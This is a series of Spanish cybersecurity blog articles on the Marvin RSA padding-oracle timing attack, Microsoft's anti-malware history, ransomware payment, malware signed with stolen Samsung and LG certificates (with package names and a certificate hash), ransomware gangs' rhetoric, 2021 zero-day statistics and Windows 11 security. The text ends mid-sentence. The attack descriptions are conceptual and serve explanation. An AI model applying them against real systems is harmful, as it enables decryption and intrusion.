Sergio de los Santos

Existe un fallo en el algoritmo fundamental de cifrado RSA desde hace 25 años, que reaparece de vez en cuando con diferentes nombres y formas. Llevan tres años analizando de nuevo el problema y han descubierto, entre otras cosas, que nunca se va a solucionar. Para conseguirlo han tenido que realizar logros tan impresionantes como ser capaces de percibir cambios en el tiempo de procesamiento del orden de unos pocos ciclos de CPU de diferencia en la respuesta, a través de una red en producción a kilómetros saltando seis enrutadores en el camino. Lo han bautizado como Marvin. En la novela “La guía del autoestopista galáctico” (de donde también sale el término “42”), Marvin es el Android que dura hasta el final del universo. El fallo viene de 1998, cuando Daniel Bleichenbacher descubrió que los mensajes de error lanzados por servidores SSL al procesar el padding (relleno) del formato PKCS#1 (v1.5) permitían a atacantes descifrar la clave precompartida. Entender el fallo original no es tan difícil y ayuda mucho a ver por qué Marvin es un nuevo-viejo problema. De dónde viene el problema con Marvin PKCS#1 es un formato usado dentro del conjunto de algoritmos RSA que formatea los mensajes cuando son demasiados cortos. Para evitar que sea fácil descifrarlos, se hace “padding” o relleno. En SSL/TLS se envía un mensaje como clave de intercambio (pre shared key), que no es muy larga y por tanto debe rellenarse con padding hasta la longitud del módulo. Si la pre-shared-key son 48 bytes, pues lo que quede hasta 256 bytes (clave de 2058 bits) es padding. Se rellena con esta información todo concatenado: 0x00 + 0x02 + números aleatorios siempre distintos de cero para rellenar + 0x00 + clave de intercambio. El 0x00 y el 0x02 marcan el comienzo. El servidor SSL/TLS sabrá así que empieza el mensaje, que debe borrar todo hasta el cero y luego a partir del 0x00 se queda con lo que le interesa. Para el ataque se usa el servidor SSL/TLS como oráculo. Se le bombardea constantemente con cadenas aleatorias y según su respuesta a si el padding es correcto o no, vamos adivinando datos. Esto fue el origen en el paper original de Bleichenbacher que describía “el ataque del millón de mensajes”. Por cómo funciona RSA, el atacante debe despejar la m de esta ecuación ms (mod n) Donde s son los mensajes aleatorios que envía. El “oráculo” servidor recibirá la cadena completamente aleatoria s como si estuviera cifrada, descifra con la clave que el servidor conoce pero nosotros no. Si tenemos la suerte de que descifrando la s aleatoria, salga un 0x00, 0x02 al principio y luego un montón de datos aleatorios sin un cero, y después del 0x00 una cadena (algo que ocurrirá cada 30.000 o 130.000 intentos) el servidor responderá que está bien formateado, pero no está cifrado con la contraseña adecuada. Y con esa respuesta binaria, aunque el mensaje no se haya descifrado bien del todo, el atacante habrá conseguido acotar mucho el rango de claves posibles. Despejando la ecuación, el resultado de ms (mod n) estará en un rango muy concreto que el atacante podrá seguir acotando con más y más preguntas al servidor. Después de varios millones de preguntas, podría conocer la respuesta. Pero, ¿qué pasa si el servidor no responde? ¿No hay oráculo? Es entonces cuando entra en juego los ataques de “side channel”. Aunque no responda, puede haber milésimas de segundo de diferencia en su respuesta si, aunque incorrecto, el mensaje está bien formateado. Estas ligeras diferencias de tiempo le darán la pista. Este detalle es importante para entender Marvin. Ataques sucesivos Para contrarrestar este ataque, se hicieron otras mejoras en PKCS para que no se pudieran enviar datos completamente aleatorios, y el “padding” obedeciera a un hash circunstancial (RSA-OAEP). Pero con ligeras diferencias, el ataque seguía siendo posible gracias a los side channels de tiempo y que muchos servidores SSL todavía usan PKCS 1.5. De hecho, en 2018 se descubrió una variante del ataque. Lo llamaron ROBOT, “the Return of Bleichenbacher's Oracle Threat”. Muchos servidores eran vulnerables. Se intentó arreglar, jugando con los tiempos. ROBOT demostró que la mitigación implementada para el fallo original, se implementó incorrectamente y todavía eran posibles ataques con los mismos fundamentos que el original. Los sucesivos arreglos para que las ligeras diferencias de milisegundos en las repuestas del servidor no ayudaran al atacante, se creían suficientes. Pero no. Marvin, este nuevo ataque que en realidad es básicamente el de ROBOT pero más preciso, ha venido a darle una vuelta de tuerca mayor. Sospechaban que desde 2020 el error seguiría ahí, y se comenzó una investigación que concluye que, gracias a la medición mucho más exhaustiva y una estadísticas más precisa, no hay solución, porque implementarla para “Marvin”, es todavía más complicado que ROBOT. Ataques side channels por tiempo Fundamentalmente, lo que han conseguido es ser muy precisos en los tiempos. No han inventado nada. Simplemente, se pensaba que los ataques por tiempo (de side channel) ya no eran posibles porque por insignificantes no darían pistas al atacante. Se llegó al consenso de que dejando las respuestas en el orden de nanosegundos, ya no se consideraría explotable. Pero según los descubridores, no se estaba testeando bien. Tardaron tres años en aumentar la cantidad y precisión de las pruebas hasta poder percibir diferencias del orden de unos pocos ciclos de CPU de diferencia en la respuesta, a través de una red en producción a kilómetros saltando seis enrutadores en el camino. Todo gracias a la suficiente información disponible y con mejores técnicas estadísticas. Impresionante. Por ejemplo, en GnuTLS se filtraba una diferencia de tiempo en la respuesta situada en otras partes del código (la que decidía qué tipo de error mostrar si el debug estaba activo). Implementar solución a esto implica modificar demasiado el software y en la práctica, imposible. Esos detalles imperceptibles han resucitado los side channel attacks que se creían muertos. Por tanto, al descubrir que como no hay implementación posible que sea “side channel free”, cualquier cosa que use padding en RSA con PKCS#1 v1.5 podría ser susceptible de ser atacada con este nuevo método. Afecta a casi todo: OpenSSL, GnuTLS, NSS de Mozilla (incluso después del parche, según el descubridor), M2Crypto… ¿Solución? Dejar de usar PKCS#1 en RSA para TLS (TLS 1.3 ya lo hace, abandona todo padding en lo posible después de muchos parches en sus versiones anteriores). Hoy en día es también posible pasarse a ECDSA en vez de RSA. 💬 Para recibir noticias y reflexiones de nuestros expertos en Ciberseguridad, suscríbete a CyberSecurityPulse, nuestro canal en Telegram: https://t.me/cybersecuritypulse Cyber Security Cuatro hitos en Ciberseguridad que marcaron el futuro del malware 22 de mayo de 2023 Imagen de Fabrikasimf en Freepik.

A principios de 2001, Bill Gates enviaba un memorando (una forma de llamar al envío de un email a toda la empresa) que marcó un momento histórico. Reconocía que: “...había sido objeto de críticas por parte de algunos de sus clientes más importantes (agencias gubernamentales, compañías financieras y otros) por los problemas de seguridad en Windows, problemas que estaban siendo puestos en primer plano por una serie de gusanos autorreplicantes y ataques vergonzosos”. Así que se supone que algo tenía que cambiar, de manera drástica. Poner foco en la Ciberseguridad. Huir de esos “gusanos autorreplicantes”. Windows estaba amenazado por malware que hoy nos parecería un chiste. A final de ese mismo año lanzarían Windows XP y la cosa fue a peor. Más ataques y más problemas. Windows XP (2001) Imagen: Microsoft. Pero la estrategia germinó. Pasaron muchos años hasta que pudieron recoger algún fruto de aquella iniciativa… porque los hubo. Vamos a repasar en qué pilares se basó la iniciativa para cambiar el rumbo. Microsoft ha dedicado 15 años a consolidar una estrategia que ha repercutido en la Ciberseguridad a nivel global Medidas activas y desarrollo seguro Los “gusanos autorreplicantes” eran simplemente malware que, aprovechando cualquier fallo compartido entre todos los Windows, les permitía ejecutarse e infectar a otros. Un crecimiento exponencial. Esos fallos eran fundamentalmente vulnerabilidades del código. Y así, el enemigo no era tanto cada virus o gusano individual, sino luchar contra las vulnerabilidades que hacían posible su replicación en cada Windows conectado a la red. Y contra eso se enfocó en su siguiente sistema operativo: Windows Vista. Tenía que haber salido en 2004, pero no lo hizo hasta 2006. Se retrasó por el intento de hacerlo más seguro. Uno de sus grandes logros fue incorporar ASLR, que impide que un mismo fallo sea explotable de igual forma en todos los Windows. O sea, eliminó la posibilidad de que se programasen “gusanos autorreplicantes”. Y, excepto con horribles excepciones como Wannacry, que consiguió eludir la protección ASLR, es cierto que en general se consiguió erradicar en buena parte esa plaga. Con Vista, a pesar de su mala fama en la usabilidad, se avanzó sustancialmente en tecnologías básicas para luchar contra el malware y su forma de aprovechar los fallos. Puso la primera piedra. El proyecto de nuevo sistema no cuajó hasta Windows 7, pero sentó las bases. Con Vista Microsoft sentó las bases de la lucha efectiva contra el malware, aunque ésta no cuajó hasta Windows 7. Aunque muchos usuarios no lo percibieran, a partir de ese año, la versión servidor de Windows y las interioridades del sistema comenzaron a contener un buen puñado de medidas destinadas a erradicar cómo se explotaban las vulnerabilidades más comunes. Tecnologías más o menos eficaces como CFG, MemGC, CIG, ACG… van abriéndose camino silenciosamente para protegernos. Aunque como suele ocurrir en las tecnologías defensivas, llaman más la atención por sus fracasos que por sus éxitos. Y todas esas funciones se programaron bajo el paraguas de una metodología de desarrollo seguro llamada Secure Systems Development Life Cycle, una manera de programar que ponía la ciberseguridad en el centro. Este proyecto de programación más segura también se complementará cuando parte del código se pase de C a Rust para aliviar la carga de la gestión de memoria que tantos fallos provoca. El Blue Hat Prize Hasta 2011, Microsoft ofrecía recompensas para cazar a los creadores de malware. Habitualmente 250.000 dólares por quien ofreciera una pista que permitiese detener al creador de algún virus importante del momento. MyDoom, Conficker, Blaster… No resultó en una estrategia sostenible. A partir de 2011 se planteó algo completamente diferente. Decidió premiar con 250.000 dólares a cualquier investigador que ofreciera una mejora técnica en Windows para detener el malware. Invertir en técnicas y medidas de protección en vez de en castigar. Y así lo hizo. Windows 10 (2015) Imagen: Microsoft. Desde entonces implementaron muchas fórmulas que hoy en Windows 10 ayudan a que sea más difícil para el malware replicarse, y lo hicieron escuchando a la comunidad e investigadores. Antivirus incluido en Windows En junio de 2003, Microsoft anunció la adquisición de la tecnología antivirus. Las casas antivirus miraban con recelo. ¿Un antivirus por defecto en Windows? A pesar de todas las dudas, la empresa finalmente hizo una buena jugada. Introdujo una herramienta muy simple (Malicious Software Removal Tool), que se lanzaba de vez en cuando en el sistema y eliminaba los virus más conocidos, nada muy avanzado. ¿Qué pretendía Microsoft con este movimiento? El objetivo era cuidar a los usuarios, pero también capitalizar los metadatos. Lo que consiguió fue una buena foto del malware que había “ahí fuera” y así sabía de primera mano qué pasaba en sus sistemas más desprotegidos para, de nuevo, mejorar sus defensas. Luego vino Windows Defender, que comenzó a estar residente y aun así pudo convivir con los antivirus tradicionales. Más tarde Windows 10 ha convertido a Defender en toda una estrategia de seguridad en el sistema operativo. “Defender” es un paraguas que aúna una política global de Ciberseguridad de Microsoft no solo en el escritorio sino en la nube. EMET y Windows 10 En 2009 se lanzó una herramienta llamada EMET destinada no tanto a detectar virus (que había millones), sino a frustrar las técnicas que usaban para propagarse (de las que existen solo decenas). Era gratuita y casi “amateur”. Sin embargo, su importancia fue creciendo y tras seis años de desarrollo se abandonó en favor de incluir de serie sus mejoras en Windows 10. Así, este incorpora mejoras para detener la explotación de vulnerabilidades y por tanto malware que han probado su eficacia en un entorno no de “producción”. Aunque poco conocida, EMET es una herramienta que realmente asustaba a los atacantes y hoy por hoy, incorporadas de serie, han hecho a Windows 10 mucho menos apetecible para el malware. ¿Y todo esto qué significa? La moraleja es que una estrategia de Ciberseguridad sólida, con varios frentes abiertos, global y en un entorno cambiante, no recoge frutos en el primer momento. Microsoft necesitó casi 15 años (de 2001 cuando se redactó el memorando hasta 2015 que salió Windows 10) para consolidar una estrategia que ha repercutido en la Ciberseguridad a nivel global y entre tanto, por supuesto, han sufrido fracasos y han aparecido muchos hitos nuevos y retos que afrontar. Esto es una ventana deslizante, pero se le ha ganado un buen terreno. La amenaza no ha desaparecido, sino que ha mutado hacia algo que se debe seguir combatiendo con otras armas y necesitará nuevas y mejores estrategias. Pero esos argumentos o la interminable carrera de fondo que supone la ciberseguridad, no deben ser suficientes como para olvidar que nunca es tarde para empezar una estrategia ambiciosa. La única estrategia de Ciberseguridad fallida es la que no se pone en marcha. Foto de apertura: Ed Hardie / Unsplash.

Internet está lleno de artículos explicando por qué no debe pagarse el ransomware. Y probablemente llevan razón, pero si no se diferencia entre el tipo de ransomware y quién es el afectado, las razones expuestas pueden no tener tanto sentido. Por tanto, es necesario explicar bien las circunstancias del afectado para entender por qué no debe pagarse y sobre todo, entender bien la situación para tomar las decisiones adecuadas. Dos tipos de ransomware Lo primero es tener claro que existen dos tipos de ransomware: Ataque "doméstico" El primero apareció de forma masiva sobre el 2012, como evolución natural del malware del “virus de la policía” y afectaba al usuario medio. Desde 2017, no ha desaparecido pero su incidencia ha bajado considerablemente. Eran ataques a víctimas aleatorias desprevenidas que pedían cantidades elevadas pero abordables por un individuo. Este tipo de ataque “doméstico” tiene una respuesta quizás más directa: no debe pagarse a no ser que haya una buena razón para ello. Nadie garantiza que se devuelvan los archivos (un ejemplo divertido es esta anécdota en la que, a pesar de no haber infectado nada realmente, el atacante seguía insistiendo en que debía pagarle). Tampoco que se vuelva a extorsionar a la víctima. Y la mayoría de las veces, es más que probable que el usuario pueda seguir viviendo sin sus muchos de sus ficheros, datos, etc. Pero… ¿y si su negocio, sustento, clientes y futuro depende de recuperar esos datos? Entonces, la respuesta se complica. Ataque profesional Porque no es el momento de culpabilizar a la víctima (bastante tiene ya) porque su backup también haya sido cifrado, no funcionase, o simplemente no dispusiera de ninguno. En un ataque de ransomware profesional todo es más complejo, estamos hablando de campañas que han podido suponer meses de trabajo y estudio para el atacante, con el único objetivo de entrar hasta las entrañas de la red (a veces, enorme) y, en el momento exacto, tomar el control y cifrarlo todo. En esos momentos ya es muy tarde. Imagen de DCStudio en Freepik. Todo el sistema queda cifrado y a veces se necesitan meses para comprobar no solo que se ha recuperado el sistema, si no que los atacantes no pueden volver a entrar. Aquí, cada día se pierden miles y miles de euros por no poder operar, ante la frustrante imposibilidad de llevar adelante el negocio. La situación es mucho más crítica y seria, y por eso los atacantes piden del orden de millones de euros por el rescate. En ese momento comienza una negociación, porque cuando hay tanto en juego no pagar no es algo que se descarte enseguida. Igual que en la vida real con secuestros de personas en los que el pago es una opción que siempre se baraja. Pero es siempre la última opción. De hecho, es una opción que puede que termine siendo oficialmente ilegal. En julio de 2019, la confederación de alcaldes de Estados Unidos en su encuentro anual, recomendó no pagar. Si se paga, se les incentiva para seguir atacando, decían. En ese caso, el estamento no iba más allá del puro posicionamiento “moral”, pues no resultaba vinculante. Luego se fue más allá, dos propuestas de dos senadores (uno demócrata y uno republicano) contemplaban en enero de 2020 que se prohibiese gastar dinero público en estos rescates. El senador republicano proponía, además, que se crease un fondo para ayudar a las organizaciones a mejorar su ciberseguridad. Se sigue yendo más allá Ahora la Oficina de Control de Activos Extranjeros de la Tesorería (OFAC) comunica que “las empresas que facilitan los pagos de ransomware a los ciberdelincuentes en nombre de las víctimas, incluidas instituciones financieras, empresas de seguros y empresas involucradas en análisis forense y respuesta a incidentes no solo fomentan las futuras demandas de pago de ransomware, sino que también corren el riesgo de violar las regulaciones de la OFAC”. El objetivo sería multar tanto a los que pagan, a los intermediarios y a los que reciben el dinero (si es que pudiesen ser identificados). Cyber Security El papel del “Threat Hunting” como acelerante en la respuesta a incidentes ransomware 8 de febrero de 2023 Más figuras de las que imaginas En realidad, la recomendación se resume en que en vez de pagar, se debería colaborar con las fuerzas del orden y no involucrar a intermediarios “tapadera” bajo pena de cometer ya algo ilegal y tipificado. ¿La razón? Muchos más afectados de los que pensamos están pagando, hasta el punto de que el proceso de pago en sí se ha convertido en un negocio. Imagen de Pressfoto en Freepik El proceso de pago en sí se ha convertido en un negocio. El negocio del ransomware se ha industrializado tanto desde el punto de vista de los atacantes (técnicas muy elaboradas, un trato muy profesional…) como desde el punto de vista de las víctimas, que ya usan a intermediarios y otras figuras como aseguradoras para hacer frente a la crisis. Cuando la continuidad de negocio es crítica, las compañías afectadas ponen en marcha varias vías. Por supuesto el intento de recuperación técnica, la evaluación de daños, etc. Pero también se inician otras vías “diplomáticas”, que pueden incluir un contacto con los atacantes y con otras compañías. Con los atacantes, se regatea y negocia, se establece una línea de diálogo como si de cualquier otro tipo de transacción se tratase. Incluso, puede que los extorsionadores ofrezcan unos útiles consejos después de que la víctima haya pasado por caja. Y como cualquier negociación, se puede delegar. Ciberseguridad Cibercrimen, una amenaza constante para todo tipo de empresas 29 de marzo de 2023 La figura de los intermediarios A la luz de este turbio negocio de la extorsión, han surgido los intermediarios que ofrecen servicios de “consultoría” que impliquen abordar esa negociación y el pago del rescate. En este escenario industrializado, normalmente el pago sí garantiza la recuperación. Incluso, yendo más allá, las aseguradoras pueden ejercer de intermediarios. Puede que a estos negocios les compense más pagar a los atacantes que al afectado por los daños sufridos en función de lo que cubra su seguro. En resumen, un complejo entramado donde no todo está tan claro cuando hablamos de cifras y sobre todo muy distante del entorno doméstico donde las directrices suelen ser más claras. Las nuevas leyes en Estados Unidos buscan estrangular a los extorsionadores impidiendo que su negocio sea lucrativo… pero es posible que esta medida no sea suficiente porque muchas veces pesa más la continuidad de los negocios legítimos. La supervivencia… no a cualquier precio, si no al que (lamentablemente) imponen unos delincuentes. Foto principal: Omid Armin / Unsplash.

Todas las apps de Android están firmadas por un certificado. Pero esto no garantiza su identidad, sino su integridad. En la práctica implica que son certificados autofirmados por el propio creador de la app. De modo que una vez se firma una aplicación, esto garantiza su integridad y todas las actualizaciones posteriores deben ser firmadas con el mismo certificado. De lo contrario, virtualmente se estaría creando otra app igual en su código, pero diferente a efectos del sistema operativo. ¿Y qué pasa si se firman dos aplicaciones diferentes con un mismo certificado? Que pueden comunicarse entre ellas y funcionar como si compartiesen espacio de memoria. Las aplicaciones de sistema también están firmadas. Estas corren con un ID de usuario muy privilegiado (android.uid.system) que tiene acceso a casi todo el sistema sin mayor problema. Son apps que no necesariamente interactúan con el usuario y que normalmente carga el fabricante del teléfono para gestionarlo y darle el sabor o interfaz del sistema Android propio y personalizado de cada marca. ¿Qué ha pasado? Lo que ha pasado es que Google ha anunciado que ha encontrado malware firmado con certificados legítimos. Y esto tiene dos consecuencias muy graves: Este malware puede actuar con los mayores privilegios. Puede declarar que quiere ejecutarse con el mismo user ID que otra app firmada con su mismo certificado, puesto que se da por hecho que el autor es el mismo. El malware disfruta así en Android de muchísimos privilegios que no tiene habitualmente el malware habitual en este sistema operativo. Los certificados robados pertenecen a apps de Samsung, LG, Revoview y Mediatek. Esto significa que se los han usurpado de alguna forma. La teoría más plausible ahora mismo es que hayan robado la clave privada, puesto que es poco probable que la hayan deducido de alguna manera. El malware parece que no ha estado disponible en Google Play. Google ha anunciado simplemente los hashes de los malware. Pero al descargarse y analizar su certificado, se comprueba que pertenecen a esos fabricantes de móviles Android. Ejemplo de certificado. Por qué es un problema grave Lo peor no es solo que se trata de certificados que pertenecen a esas marcas conocidas y de confianza para los usuarios y consumidores. Sino que, como sucede en el caso de Samsung específicamente, se corresponden con certificados usados por el fabricante para firmar aplicaciones de sistema; aquellas que, como comentábamos, pueden funcionar con mayores privilegios. Y eso es un problema grave. En concreto se trata de este certificado: 34df0e7a9f1cf1892e45c056b4973cd81ccf148a4050d11aea4ac5a65f900a42 Ejemplo de app firmada por ese certificado. Que se ve así. Certificado comprometido de Samsung Hay algo extraño que queda por aclarar. Las apps maliciosas son de al menos 2016, cuando se enviaron a VirusTotal. Indagando en el contenido del certificado se pueden observar fechas de 2011, por lo que también podrían remontarse a ese momento. Esto abre la posibilidad a que hayan pasado como legítimas desde entonces pero ahora se hayan catalogadas como malware. Pruebas de que el problema puede remontarse a 2011 o 2016 como mínimo. Para llegar al fondo de cuándo fueron creadas tendríamos que tener un análisis exhaustivo de las muestras, que todavía no se ha realizado y saber exactamente qué hacen. Muestra de código de una de las apps ahora maliciosas. Los nombres de los paquetes de malware son: com.russian.signato.renewis com.sledsdffsjkh.Search com.android.power com.management.propaganda com.sec.android.musicplayer com.houla.quicken com.attd.da com.arlo.fappx com.metasploit.stage com.vantage.ectronic.cornmuni ¿Y ahora qué? Es necesario esclarecer qué hacen esas apps. Por qué se han firmado, y sobre todo, cómo se va a corregir este problema. Los certificados necesitan ser reemplazados y afectan a muchísimas apps de Samsung para dispositivos Android y móviles, por ejemplo: Apps de Samsung firmadas con el certificado comprometido. CYBER SECURITY Introducción al análisis de malware: tipos que existen, síntomas y cómo identificarlos 6 de octubre de 2022

La hipocresía, doble lenguaje e incluso suponemos que sarcasmo del que hacen gala en sus webs las bandas de ransomware no tiene límites. A modo de anécdota, vamos a mostrar algunas de las afirmaciones o términos de uso con los que las bandas de ransomware parecen incluso justificar sus servicios, como si no se tratase de una extorsión ilegal en toda regla. Suponemos que la intención de los atacantes es similar a las mafias clásicas. Lejos de reconocer de puertas hacia afuera su actividad ilícita, la intención es revestir el ataque de alguna lógica (aunque perversa) en la que la víctima pasa a ser “cliente” de la banda de ransomware o incluso culpable de la propia extorsión por no preocuparse de sus datos o infraestructura. Comentamos algunos ejemplos tras darnos un paseo por sus webs. Babuk, con una doble moral Atacan todo lo que pueden, y son muy activos y populares. Le tienen especial inquina a Elon Musk. Si llegaran a entrar en sus sistemas, lo publicarían sin negociar, según ellos. Pero tienen una línea roja: hospitales, ONGs, escuelas y pequeñas compañías con beneficios menores a 4 millones. Interesante distinción que no se da en muchas otras bandas. Figura: Organizaciones a salvo de Babuk Babuk dedica mucha literatura a “justificarse”. Figura: La filosofía de Babuk Se autodenominan cyberpunks que van por ahí “comprobando la ciberseguridad”. Por supuesto, se autoproclaman, literalmente “software especializado no malicioso que muestra los problemas de ciberseguridad de una compañía”. Añaden que su “auditoría” no es lo peor que podría pasar, y que sería mucho peor si atacasen la infraestructura fanáticos terroristas que no solo quisieran dinero, como ellos. Lorenz, nada personal No hablan de su moral, atacan lo que pueden. En su blog mantienen un slot con las empresas atacadas que han pagado (y por tanto retirado sus datos), y otros tantos con los datos publicados por no haber pagado. Figura: slots para futuras víctimas o que han pagado Pero recuerdan en su web que por supuesto, no es nada personal. Solo negocios. LV, la culpa la tienes tú Si LV ataca la compañía, cifra y roba los datos y termina mostrándolos en su web, la culpa es de la víctima. Por no haber cumplido con sus obligaciones y negarse a corregir sus fallos. Han preferido vender los datos de la propia compañía y de sus clientes. Así de cínico es el mensaje de esta banda que culpa a la víctima como si hubieran hecho algo erróneo. Aquí cabe recordar que las bandas de ransomware no siempre aprovechan fallos de seguridad: utilizan todo tipo de técnicas como la extorsión a los propios trabajadores para conseguir los datos necesarios para el robo. Figura: LV dice que la víctima es descuidada LockBit, de los más profesionales Son tan profesionales que hace poco anunciaron un Bug Bounty propio en el que podrían dar hasta un millón de dólares por encontrar fallos en su infraestructura. Son de lo más activos, muy buenos en su márquetin como campaña de afiliación para realizar el ransomware, con software de cifrado y exfiltración muy avanzado, rápido y muy serios en sus negocios. Eso es lo que dicen. En su página de preguntas frecuentes, podemos encontrar afirmaciones como estas. Figura: Qué se puede atacar y qué no Ni ellos ni sus afiliados pueden cifrar sistemas críticos como plantas nucleares, oleoductos, etc. Sí pueden robar información, pero no cifrarla. Si tienen dudas, pueden contactar con el “helpdesk” de la organización. Tampoco está permitido atacar a países post-soviéticos, aunque esto es habitual desde hace mucho en el malware. Ellos sí permiten ONGs sin problemas, e instituciones educacionales siempre que no sean públicas. Recomiendan no atacar hospitales si pueden causar muertes. Y además animan a atacar a toda fuerza del orden que se pueda, porque según ellos, no aprecian la importante labor que realizan al concienciar sobre la ciberseguridad. Si la víctima no paga, prometen almacenar los datos robados de las compañías disponibles en su blog todo el tiempo que sea posible, para que aprendan. Y para que no puedan echar abajo esta web mantienen un sistema muy robusto antiDDoS con decenas de espejos además del mencionado bug bounty para encontrar potenciales fallos en su sistema de cifrado que pudieran permitir acceder a los datos sin pagar. Bl@cktor, la ransomware gang que dice no serlo No es que sean una ransomware gang, es que les encanta ir mirando por ahí empresas vulnerables, entrar en sus sistemas, y pedir dinero por un rescate. Pero no causan daño alguno… a menos que no pagues, claro. Figura: Bl@ckt0r, que ni cifra ni borra Y no mienten. Realmente no cifran nada, sino que filtran los datos directamente y los venden. Así no rompen la continuidad de negocio. Según ellos, una ganga por sus servicios al haber alertado sobre potenciales fallos de seguridad. Parecen contar, además, con muchos recursos para que todo el mundo se entere de que los datos han sido robados. Por ejemplo, contactos en medios de comunicación. Eso sí, a los hospitales, no se les toca. Foto principal: Tyler Daviaux / Unsplash. * * * Cyber Security Cómo funciona Lokibot, el malware que utiliza Machete para robar información y credenciales de acceso 29 de junio de 2022

Interesantísimos los datos del Project Zero de Google que intenta catalogar, encontrar y difundir 0days. No los descubren directamente, sino que los “detectan” en cualquier fabricante cuando están siendo aprovechados si ellos lo declaran así. Así pueden analizar, alertar y corregir para cerrar esa puerta a los atacantes cuanto antes. Abogan por catalogar los 0day adecuadamente y ser transparentes para mejorar la comunidad. Por ejemplo, el punto de partida es que los fabricantes etiqueten bien sus vulnerabilidades (si están in-the-wild) o no cuando son detectadas o corregidas. Este año han detectado 58. El anterior récord es de 28 en 2015. Project Zero trabaja desde 2014. Los 0days son vulnerabilidades encontradas cuando ya está siendo aprovechadas por atacantes y, por tanto, sin parche conocido. Los números que arrojan este seguimiento son de lo más interesante. Si los dividimos por grandes fabricantes durante 2021 quedaría como en esta gráfica. 0days declarados por fabricante en 2021 Datos: Project Zero ¿Significa esta gráfica que Chrome tiene más fallos y es más vulnerable? Para nada. De hecho, de esta gráfica se desprende tanta información que es necesario dividir el discurso. Chrome 14 0days reportados en 2021. Sin duda, el navegador es el que más interés está despertando entre los atacantes desde hace algún tiempo. Primero por el número de ataques nuevos que realizan, segundo porque es sabido que eludir la sandbox de Chrome siempre ha sido un reto técnico. Sin embargo ahora les renta más puesto que Edge usa Chromium y puede que algunos fallos puedan compartirse. Seis de estos fallos se encontraban en el motor V8 de JavaScript. Webkit (Safari) El primer año completo que Apple reporta 0days como tal en Webkit. Y son 7, por lo que no se puede establecer una tendencia. Desde luego, muchos en comparación con su cuota de mercado, pero ya sabemos que es un target jugoso en teléfonos iPhone sobre todo. De nuevo, 4 de ellos en el motor JavaScript. Internet Explorer Sí, todavía importa, dada lo incrustado en el sistema y como consecuencia de que aún es el motor HTML de Office. Además siempre se encuentran 3 o 4 0days de forma sostenida desde 2015. Windows 10 0days. Lo curioso es que hasta ahora, la inmensa mayoría atacaban al win32k para elevar privilegios. Hasta el 75% de todos los 0days en años anteriores. En 2021 es apenas el 20% los que atacan este driver. ¿Por qué? Porque esos ataques iban dirigidos a versiones anteriores a Windows 10. Con su desaparición, este módulo se vuelve más complejo de explotar. Aunque no lo parezca, Windows 10 está más blindado en este aspecto. iOS/MacOS Siempre hermético, este 2021 ha sido el primer año en el que Apple ha reportado 0days como tal en su sistema operativo. Y han sido 5 y de ellos, uno de ellos (el primero) en MacOS (hasta ahora todos en iOS). De nuevo, iOS es un objetivo muy interesante para los atacantes en altas esferas geopolíticas. Pegasus es una muestra de ello. Cyber Security La seguridad de Windows 11 mejora y se apunta al Zero Trust 18 de abril de 2022 Android Hemos pasado de un solo 0day en 2019, a cero en 2020 y a 7 en 2021. Y de estas 7, 5 fallos en el driver GPU. Dado que los sistemas operativos Android están muy fragmentados, realizar un exploit funcional para la mayoría de sus sabores es difícil. Sin embargo, un fallo en el driver GPU permite al atacante necesitar solo dos exploits. Uno para Qualcomm Adreno o uno para la GPU ARM Mali. Curioso como no solo en Android, sino en el resto, lo más valorado para atacantes son las elevaciones de privilegios. ¿Por qué? Porque hacer que el usuario ejecute es relativamente fácil gracias a la ingeniería social. Exchange Server El gran protagonista de 2021. La primera vez que aparece desde 2014 y lo hace con 5. También es cierto que 4 de ellas formaban parte de una misma operación o campaña relacionadas con ProxyLogon. Conclusiones Nunca se sabrá qué parte no se conoce o qué porción representan esos 58 del total de 0days que están usando los atacantes. Al menos, este año es el primero en el que Apple se compromete a etiquetar sus vulnerabilidad como conocidas in-the-wild tanto para Webkit como para iOS y MacOS. La mayoría de esos 58 0days siguen prácticas muy similares a las de siempre: se basan en exploits y vulnerabilidades ya conocidas para desarrollar nuevos y exploits derivados. Solo dos constituían una novedad sus técnicas y sofisticación. Y esto es relevante. Porque siempre que se usen métodos, técnicas o procedimientos conocidos, en teoría es más fácil detectarlos de forma más sencilla por “esperables”. Aquí debería mejorar la industria. Otra conclusión es que estos números nos muestran algo solo parcial, cuyo mapa completo no conocemos. Son solo las vulnerabilidades declaradas como 0days detectadas por los fabricantes. Habrá más sin duda, pero no sabemos cuántas. La llamada de Google a que todos los fabricantes reporten sus 0days como tales es de gran ayuda para analizar la propia industria.

Windows 11 acaba de anunciar, a pesar de llevar desde octubre de 2021 en el mercado, sus mejoras en ciberseguridad. Vamos a analizar las nuevas funcionalidades, algunas viejas conocidas incluso, pero aplicadas por defecto o mejoradas sustancialmente. Por supuesto, la estrategia global debía basarse en el concepto de moda del Zero Trust y trabajo híbrido en varias capas y así lo han organizado. Vamos a analizarlas someramente porque no se conocen excesivos detalles técnicos todavía. Aproximación Zero Trust en Windows 11 Hardware: Plutón Plutón es un procesador dedicado solamente a la seguridad e incrustado en versiones de Qualcomm y AMD Ryzen. Esto es, un TPM directamente en el procesador que almacena por ejemplo las claves de BitLocker o del sistema de identificación Hello. ¿Para qué sirve y en qué mejora los TPM actuales? El hecho de que esté incrustado impide que alguien abra físicamente el dispositivo y “esnife” desde el bus la información que viaja del TPM al procesador. Porque, aunque parezca muy complicado, es posible atrapar contraseñas de BitLocker conectando una pieza de hardware al procesador y leyendo este tráfico con un determinado programa. De hecho, durante la presentación oficial de la funcionalidad se hace una demostración bastante práctica del proceso de ataque. El ataque para conseguir la contraseña BitLocker de un ordenador al que se tiene acceso físico Windows 11 no funciona sin dispositivos TPM, pero ahora además puede disfrutar de ese TPM en el mismo procesador. Además, el firmware de Plutón será controlado por las propias actualizaciones de Windows. Y sí, se hará opensource para poder ser aprovechado por otros sistemas operativos. Config Lock Config Lock es sencillo de explicar. Para los sistemas gestionados a través de MDM, ya existía Secured-Core PC (SCPC), una configuración que permitía controlar y administrar el dispositivo por parte de los administradores en compañías. Con Config Lock, no habrá ninguna ventana de oportunidad entre el momento de cambio de algún valor de seguridad perpetrado por el usuario y la aplicación de la política de seguridad impuesta por la administración. Si el usuario desactiva algún sistema de seguridad, inmediatamente volverá a su sitio tal y como la configuró el diseñador de la política. La configuración queda así “bloqueada” y no necesita esperar ni siquiera minutos a que se revierta. Personal Data Encryption Interesante nueva funcionalidad. Básicamente se trata de cifrar los archivos por encima de BitLocker, con una capa de cifrado invisible también para el usuario. Pero este no tendrá que recordar ni ejecutar nada para descifrar su información, sino que al hacer login con Hello en Windows, podrá acceder a sus datos sin problemas. Si 